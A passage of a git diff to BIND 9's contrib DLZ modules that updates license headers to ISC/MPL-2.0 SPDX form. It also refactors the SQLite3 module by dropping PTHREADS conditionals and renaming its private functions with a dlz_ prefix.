+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+#pragma once
+
 #include <dlz_minimal.h>
 
 /* This is the only part that differs from dlz_minimal.h. */
diff --git a/contrib/dlz/modules/perl/testing/dlz_perl_example.pm b/contrib/dlz/modules/perl/testing/dlz_perl_example.pm
index 55bc388a7c..eafa87c783 100644
--- a/contrib/dlz/modules/perl/testing/dlz_perl_example.pm
+++ b/contrib/dlz/modules/perl/testing/dlz_perl_example.pm
@@ -1,20 +1,28 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
 #
-# Copyright (C) 2009-2012  John Eaglesham
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+# Copyright (C) John Eaglesham
 #
-# Permission to use, copy, modify, and distribute this software for any
-# purpose with or without fee is hereby granted, provided that the above
-# copyright notice and this permission notice appear in all copies.
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
 #
-# THE SOFTWARE IS PROVIDED "AS IS" AND JOHN EAGLESHAM
-# DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
-# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
-# JOHN EAGLESHAM BE LIABLE FOR ANY SPECIAL, DIRECT,
-# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
-# FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
-# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
-# WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+# SPDX-License-Identifier: ISC and MPL-2.0
 #
-
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 package dlz_perl_example;
 
 use warnings;
diff --git a/contrib/dlz/modules/perl/testing/named.conf b/contrib/dlz/modules/perl/testing/named.conf
index 32eebef20a..293d6559da 100644
--- a/contrib/dlz/modules/perl/testing/named.conf
+++ b/contrib/dlz/modules/perl/testing/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2011  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 options {
diff --git a/contrib/dlz/modules/sqlite3/Makefile b/contrib/dlz/modules/sqlite3/Makefile
index 94af96aae9..1532921b95 100644
--- a/contrib/dlz/modules/sqlite3/Makefile
+++ b/contrib/dlz/modules/sqlite3/Makefile
@@ -1,7 +1,32 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
 prefix = /usr
 libdir = $(prefix)/lib/bind9
 
-CFLAGS=-fPIC -g -I../include
+CFLAGS += -fPIC -g -I../include
 SQLITE3_LIBS=-lsqlite3
 
 all: dlz_sqlite3_dynamic.so
diff --git a/contrib/dlz/modules/sqlite3/dlz_sqlite3_dynamic.c b/contrib/dlz/modules/sqlite3/dlz_sqlite3_dynamic.c
index f13cae29f5..be6c6d7664 100644
--- a/contrib/dlz/modules/sqlite3/dlz_sqlite3_dynamic.c
+++ b/contrib/dlz/modules/sqlite3/dlz_sqlite3_dynamic.c
@@ -1,45 +1,30 @@
 /*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
+ * SPDX-License-Identifier: MPL-2.0 and ISC
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for BIND 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  */
 
 /*
- * Copyright (C) 1999-2001, 2013-2014, 2016  Internet Systems Consortium, Inc.
- * ("ISC")
+ * Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
  *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+ * conceived and contributed by Rob Butler.
+ *
+ * Permission to use, copy, modify, and distribute this software for any purpose
+ * with or without fee is hereby granted, provided that the above copyright
+ * notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+ * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
  */
 
 /*
@@ -74,12 +59,8 @@
  * many separate instances.
  */
 typedef struct {
-#if PTHREADS
 	db_list_t *db; /*%< handle to a list of DB */
 	int dbcount;
-#else  /* if PTHREADS */
-	dbinstance_t *db; /*%< handle to DB */
-#endif /* if PTHREADS */
 
 	char *dbname;
 
@@ -94,11 +75,11 @@ typedef struct {
  * SQLite3 result set
  */
 typedef struct {
-	char **pazResult;      /* Result of the query */
-	unsigned int pnRow;    /* Number of result rows */
-	unsigned int pnColumn; /* Number of result columns */
-	unsigned int curRow;   /* Current row */
-	char *pzErrmsg;	       /* Error message */
+	char **pazResult; /* Result of the query */
+	int pnRow;	  /* Number of result rows */
+	int pnColumn;	  /* Number of result columns */
+	int curRow;	  /* Current row */
+	char *pzErrmsg;	  /* Error message */
 } sqlite3_res_t;
 
 /* forward references */
@@ -116,8 +97,8 @@ b9_add_helper(sqlite3_instance_t *db, const char *helper_name, void *ptr);
  * Private methods
  */
 
-void
-sqlite3_destroy(dbinstance_t *db) {
+static void
+dlz_sqlite3_destroy(dbinstance_t *db) {
 	/* release DB connection */
 	if (db->dbconn != NULL) {
 		sqlite3_close((sqlite3 *)db->dbconn);
@@ -128,14 +109,13 @@ sqlite3_destroy(dbinstance_t *db) {
 	destroy_dbinstance(db);
 }
 
-#if PTHREADS
 /*%
  * Properly cleans up a list of database instances.
  * This function is only used when the module is compiled for
  * multithreaded operation.
  */
 static void
-sqlite3_destroy_dblist(db_list_t *dblist) {
+dlz_sqlite3_destroy_dblist(db_list_t *dblist) {
 	dbinstance_t *ndbi = NULL;
 	dbinstance_t *dbi = NULL;
 
@@ -144,7 +124,7 @@ sqlite3_destroy_dblist(db_list_t *dblist) {
 		dbi = ndbi;
 		ndbi = DLZ_LIST_NEXT(dbi, link);
 
-		sqlite3_destroy(dbi);
+		dlz_sqlite3_destroy(dbi);
 	}
 
 	/* release memory for the list structure */
@@ -191,7 +171,6 @@ sqlite3_find_avail(sqlite3_instance_t *sqlite3) {
 		     count);
 	return (NULL);
 }
-#endif /* PTHREADS */
 
 /*%
  * Allocates memory for a new string, and then constructs the new
@@ -255,8 +234,6 @@ sqlite3_get_resultset(const char *zone, const char *record, const char *client,
 	sqlite3_instance_t *db = (sqlite3_instance_t *)dbdata;
 	char *querystring = NULL;
 	sqlite3_res_t *rs = NULL;
-	unsigned int i = 0;
-	unsigned int j = 0;
 	int qres = 0;
 
 	if ((query == COUNTZONE && rsp != NULL) ||
@@ -267,16 +244,8 @@ sqlite3_get_resultset(const char *zone, const char *record, const char *client,
 		goto cleanup;
 	}
 
-#if PTHREADS
 	/* find an available DBI from the list */
 	dbi = sqlite3_find_avail(db);
-#else  /* PTHREADS */
-	/*
-	 * only 1 DBI - no need to lock instance lock either
-	 * only 1 thread in the whole process, no possible contention.
-	 */
-	dbi = (dbinstance_t *)(db->db);
-#endif /* PTHREADS */
 
 	if (dbi == NULL) {
 		return (ISC_R_FAILURE);
@@ -471,11 +440,11 @@ sqlite3_get_resultset(const char *zone, const char *record, const char *client,
  * into this function to minimize code.
  */
 
-char **
-sqlite3_fetch_row(sqlite3_res_t *rs) {
+static char **
+dlz_sqlite3_fetch_row(sqlite3_res_t *rs) {
 	char **retval = NULL;
 	if (rs != NULL) {
-		if (rs->pnRow > 0U && rs->curRow < rs->pnRow) {
+		if (rs->pnRow > 0 && rs->curRow < rs->pnRow) {
 			int index = (rs->curRow + 1) * rs->pnColumn;
 			retval = &rs->pazResult[index];
 			rs->curRow++;
@@ -484,8 +453,8 @@ sqlite3_fetch_row(sqlite3_res_t *rs) {
 	return (retval);
 }
 
-unsigned int
-sqlite3_num_fields(sqlite3_res_t *rs) {
+static unsigned int
+dlz_sqlite3_num_fields(sqlite3_res_t *rs) {
 	unsigned int retval = 0;
 	if (rs != NULL) {
 		retval = rs->pnColumn;
@@ -493,8 +462,8 @@ sqlite3_num_fields(sqlite3_res_t *rs) {
 	return (retval);
 }
 
-unsigned int
-sqlite3_num_rows(sqlite3_res_t *rs) {
+static unsigned int
+dlz_sqlite3_num_rows(sqlite3_res_t *rs) {
 	unsigned int retval = 0;
 	if (rs != NULL) {
 		retval = rs->pnRow;
@@ -502,8 +471,8 @@ sqlite3_num_rows(sqlite3_res_t *rs) {
 	return (retval);
 }
 
-void
-sqlite3_free_result(sqlite3_res_t *rs) {
+static void
+dlz_sqlite3_free_result(sqlite3_res_t *rs) {
 	if (rs != NULL) {
 		sqlite3_free_table(rs->pazResult);
 		free(rs);
@@ -511,18 +480,19 @@ sqlite3_free_result(sqlite3_res_t *rs) {
 }
 
 static isc_result_t
-sqlite3_process_rs(sqlite3_instance_t *db, dns_sdlzlookup_t *lookup,
-		   sqlite3_res_t *rs) {
+dlz_sqlite3_process_rs(sqlite3_instance_t *db, dns_sdlzlookup_t *lookup,
+		       sqlite3_res_t *rs) {
 	isc_result_t result = ISC_R_NOTFOUND;
 	char **row;
 	unsigned int fields;
-	unsigned int i, j;
+	unsigned int j;
 	char *tmpString;
 	char *endp;
 	int ttl;
 
-	row = sqlite3_fetch_row(rs);	 /* get a row from the result set */
-	fields = sqlite3_num_fields(rs); /* how many columns in result set */
+	row = dlz_sqlite3_fetch_row(rs);     /* get a row from the result set */
+	fields = dlz_sqlite3_num_fields(rs); /* how many columns in result set
+					      */
 	while (row != NULL) {
 		unsigned int len = 0;
 
@@ -566,8 +536,9 @@ sqlite3_process_rs(sqlite3_instance_t *db, dns_sdlzlookup_t *lookup,
 			 * ones together.  figure out how long to make
 			 * string.
 			 */
-			for (j = 2; j < fields; j++)
+			for (j = 2; j < fields; j++) {
 				len += strlen(safeGet(row[j])) + 1;
+			}
 
 			/*
 			 * allocate string memory, allow for NULL to
@@ -579,7 +550,7 @@ sqlite3_process_rs(sqlite3_instance_t *db, dns_sdlzlookup_t *lookup,
 						       "to allocate "
 						       "memory for temporary "
 						       "string");
-				sqlite3_free_result(rs);
+				dlz_sqlite3_free_result(rs);
 				return (ISC_R_FAILURE);
 			}
 
@@ -604,16 +575,16 @@ sqlite3_process_rs(sqlite3_instance_t *db, dns_sdlzlookup_t *lookup,
 		}
 
 		if (result != ISC_R_SUCCESS) {
-			sqlite3_free_result(rs);
+			dlz_sqlite3_free_result(rs);
 			db->log(ISC_LOG_ERROR, "putrr returned error: %d",
 				result);
 			return (ISC_R_FAILURE);
 		}
 
-		row = sqlite3_fetch_row(rs);
+		row = dlz_sqlite3_fetch_row(rs);
 	}
 
-	sqlite3_free_result(rs);
+	dlz_sqlite3_free_result(rs);
 	return (result);
 }
 
@@ -636,7 +607,7 @@ dlz_findzonedb(void *dbdata, const char *name, dns_clientinfomethods_t *methods,
 	result = sqlite3_get_resultset(name, NULL, NULL, FINDZONE, dbdata, &rs);
 	if (result != ISC_R_SUCCESS || rs == NULL) {
 		if (rs != NULL) {
-			sqlite3_free_result(rs);
+			dlz_sqlite3_free_result(rs);
 		}
 
 		db->log(ISC_LOG_ERROR, "SQLite3 module: unable to return "
@@ -648,8 +619,8 @@ dlz_findzonedb(void *dbdata, const char *name, dns_clientinfomethods_t *methods,
 	/*
 	 * if we returned any rows, the zone is supported.
 	 */
-	rows = sqlite3_num_rows(rs);
-	sqlite3_free_result(rs);
+	rows = dlz_sqlite3_num_rows(rs);
+	dlz_sqlite3_free_result(rs);
 	if (rows > 0) {
 		sqlite3_get_resultset(name, NULL, NULL, COUNTZONE, dbdata,
 				      NULL);
@@ -687,7 +658,7 @@ dlz_allowzonexfr(void *dbdata, const char *name, const char *client) {
 
 	if (result != ISC_R_SUCCESS || rs == NULL) {
 		if (rs != NULL) {
-			sqlite3_free_result(rs);
+			dlz_sqlite3_free_result(rs);
 		}
 		db->log(ISC_LOG_ERROR, "SQLite3 module: unable to return "
 				       "result set for ALLOWXFR query");
@@ -698,8 +669,8 @@ dlz_allowzonexfr(void *dbdata, const char *name, const char *client) {
 	 * count how many rows in result set; if we returned any,
 	 * zone xfr is allowed.
 	 */
-	rows = sqlite3_num_rows(rs);
-	sqlite3_free_result(rs);
+	rows = dlz_sqlite3_num_rows(rs);
+	dlz_sqlite3_free_result(rs);
 	if (rows > 0) {
 		return (ISC_R_SUCCESS);
 	}
@@ -738,8 +709,8 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 
 	result = ISC_R_NOTFOUND;
 
-	fields = sqlite3_num_fields(rs);
-	row = sqlite3_fetch_row(rs);
+	fields = dlz_sqlite3_num_fields(rs);
+	row = dlz_sqlite3_fetch_row(rs);
 	while (row != NULL) {
 		if (fields < 4) {
 			db->log(ISC_LOG_ERROR, "SQLite3 module: too few fields "
@@ -768,8 +739,9 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 			 * more than 4 fields, concatenate the last
 			 * ones together.
 			 */
-			for (j = 3; j < fields; j++)
+			for (j = 3; j < fields; j++) {
 				len += strlen(safeGet(row[j])) + 1;
+			}
 
 			tmpString = malloc(len + 1);
 			if (tmpString == NULL) {
@@ -800,12 +772,12 @@ dlz_allnodes(const char *zone, void *dbdata, dns_sdlzallnodes_t *allnodes) {
 			break;
 		}
 
-		row = sqlite3_fetch_row(rs);
+		row = dlz_sqlite3_fetch_row(rs);
 	}
 
 cleanup:
 	if (rs != NULL) {
-		sqlite3_free_result(rs);
+		dlz_sqlite3_free_result(rs);
 	}
 
 	return (result);
@@ -829,7 +801,7 @@ dlz_authority(const char *zone, void *dbdata, dns_sdlzlookup_t *lookup) {
 
 	if (result != ISC_R_SUCCESS) {
 		if (rs != NULL) {
-			sqlite3_free_result(rs);
+			dlz_sqlite3_free_result(rs);
 		}
 		db->log(ISC_LOG_ERROR, "SQLite3 module: unable to return "
 				       "result set for AUTHORITY query");
@@ -838,9 +810,9 @@ dlz_authority(const char *zone, void *dbdata, dns_sdlzlookup_t *lookup) {
 
 	/*
 	 * lookup and authority result sets are processed in the same
-	 * manner: sqlite3_process_rs does the job for both functions.
+	 * manner: dlz_sqlite3_process_rs does the job for both functions.
 	 */
-	return (sqlite3_process_rs(db, lookup, rs));
+	return (dlz_sqlite3_process_rs(db, lookup, rs));
 }
 
 /*% If zone is supported, lookup up a (or multiple) record(s) in it */
@@ -860,7 +832,7 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 	/* if we didn't get a result set, log an err msg. */
 	if (result != ISC_R_SUCCESS) {
 		if (rs != NULL) {
-			sqlite3_free_result(rs);
+			dlz_sqlite3_free_result(rs);
 		}
 		db->log(ISC_LOG_ERROR, "SQLite3 module: unable to return "
 				       "result set for LOOKUP query");
@@ -869,9 +841,9 @@ dlz_lookup(const char *zone, const char *name, void *dbdata,
 
 	/*
 	 * lookup and authority result sets are processed in the same
-	 * manner: sqlite3_process_rs does the job for both functions.
+	 * manner: dlz_sqlite3_process_rs does the job for both functions.
 	 */
-	return (sqlite3_process_rs(db, lookup, rs));
+	return (dlz_sqlite3_process_rs(db, lookup, rs));
 }
 
 /*%
@@ -885,12 +857,9 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	dbinstance_t *dbi = NULL;
 	sqlite3 *dbc = NULL;
 	char *tmp = NULL;
-	char *endp;
+	char *endp = NULL;
 	const char *helper_name;
-#if PTHREADS
-	int dbcount;
-	int i, ret;
-#endif /* PTHREADS */
+	int dbcount, i, ret;
 	va_list ap;
 
 	UNUSED(dlzname);
@@ -909,13 +878,8 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	}
 	va_end(ap);
 
-#if PTHREADS
 	/* if debugging, let user know we are multithreaded. */
 	s3->log(ISC_LOG_DEBUG(1), "SQLite3 module: running multithreaded");
-#else  /* PTHREADS */
-	/* if debugging, let user know we are single threaded. */
-	s3->log(ISC_LOG_DEBUG(1), "SQLite3 module: running single threaded");
-#endif /* PTHREADS */
 
 	/* verify we have at least 4 arg's passed to the module */
 	if (argc < 4) {
@@ -940,7 +904,6 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 		goto cleanup;
 	}
 
-#if PTHREADS
 	/* multithreaded build can have multiple DB connections */
 	tmp = get_parameter_value(argv[1], "threads=");
 	if (tmp == NULL) {
@@ -973,7 +936,6 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 	 * append each new DBI to the end of the list
 	 */
 	for (i = 0; i < dbcount; i++) {
-#endif /* PTHREADS */
 		switch (argc) {
 		case 4:
 			result = build_dbinstance(NULL, NULL, NULL, argv[2],
@@ -1029,25 +991,15 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 			goto cleanup;
 		}
 
-#if PTHREADS
 		/* when multithreaded, build a list of DBI's */
 		DLZ_LINK_INIT(dbi, link);
 		DLZ_LIST_APPEND(*(s3->db), dbi, link);
-#else  /* if PTHREADS */
-	/*
-	 * when single threaded, hold onto the one connection
-	 * instance.
-	 */
-	s3->db = dbi;
-#endif /* if PTHREADS */
 
 		dbi->dbconn = dbc;
 		dbc = NULL;
-#if PTHREADS
 		/* set DBI = null for next loop through. */
 		dbi = NULL;
 	}
-#endif /* PTHREADS */
 
 	*dbdata = s3;
 	return (ISC_R_SUCCESS);
@@ -1064,14 +1016,10 @@ dlz_create(const char *dlzname, unsigned int argc, char *argv[], void **dbdata,
 void
 dlz_destroy(void *dbdata) {
 	sqlite3_instance_t *db = (sqlite3_instance_t *)dbdata;
-#if PTHREADS
 	/* cleanup the list of DBI's */
 	if (db->db != NULL) {
-		sqlite3_destroy_dblist((db_list_t *)(db->db));
+		dlz_sqlite3_destroy_dblist((db_list_t *)(db->db));
 	}
-#else  /* PTHREADS */
-	sqlite3_destroy(db);
-#endif /* PTHREADS */
 
 	if (db->dbname != NULL) {
 		free(db->dbname);
diff --git a/contrib/dlz/modules/sqlite3/testing/named.conf b/contrib/dlz/modules/sqlite3/testing/named.conf
index 9f310af3a6..d5ce0bb0c7 100644
--- a/contrib/dlz/modules/sqlite3/testing/named.conf
+++ b/contrib/dlz/modules/sqlite3/testing/named.conf
@@ -1,17 +1,14 @@
 /*
- * Copyright (C) 2013  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
+ * SPDX-License-Identifier: MPL-2.0
  *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
- * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
- * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
- * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
- * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
- * PERFORMANCE OF THIS SOFTWARE.
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
  */
 
 controls { };
diff --git a/contrib/dlz/modules/wildcard/Makefile b/contrib/dlz/modules/wildcard/Makefile
index 20a5d4ee55..087a3538e9 100644
--- a/contrib/dlz/modules/wildcard/Makefile
+++ b/contrib/dlz/modules/wildcard/Makefile
@@ -1,7 +1,33 @@
+# Copyright Internet Systems Consortium, Inc. ("ISC")
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+# Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+# Copyright (C) Vadim Goncharov, Russia, vadim_nuclight@mail.ru.
+#
+# The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+# conceived and contributed by Rob Butler.
+#
+# SPDX-License-Identifier: ISC and MPL-2.0
+#
+# Permission to use, copy, modify, and distribute this software for any purpose
+# with or without fee is hereby granted, provided that the above copyright
+# notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+# OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+# CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
 prefix = /usr
 libdir = $(prefix)/lib/bind9
 
-CFLAGS=-fPIC -g -I../include
+CFLAGS += -fPIC -g -I../include
 
 all: dlz_wildcard_dynamic.so
 
diff --git a/contrib/dlz/modules/wildcard/README b/contrib/dlz/modules/wildcard/README
index ffc2e684b9..2ec68527f5 100644
--- a/contrib/dlz/modules/wildcard/README
+++ b/contrib/dlz/modules/wildcard/README
@@ -1,3 +1,31 @@
+<!--
+Copyright Internet Systems Consortium, Inc. ("ISC")
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0. If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+Copyright (C) Stichting NLnet, Netherlands, stichting@nlnet.nl.
+Copyright (C) Vadim Goncharov, Russia, vadim_nuclight@mail.ru.
+
+The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
+conceived and contributed by Rob Butler.
+
+SPDX-License-Identifier: ISC and MPL-2.0
+
+Permission to use, copy, modify, and distribute this software for any purpose
+with or without fee is hereby granted, provided that the above copyright
+notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET DISCLAIMS ALL WARRANTIES
+WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL STICHTING NLNET BE LIABLE FOR
+ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION
+OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+-->
+
 The "wildcard" DLZ module provides a "template" zone for domains matching
 a wildcard name.  For example, the following DLZ configuration would match
 any zone name containing the string "example" and ending with .com, such
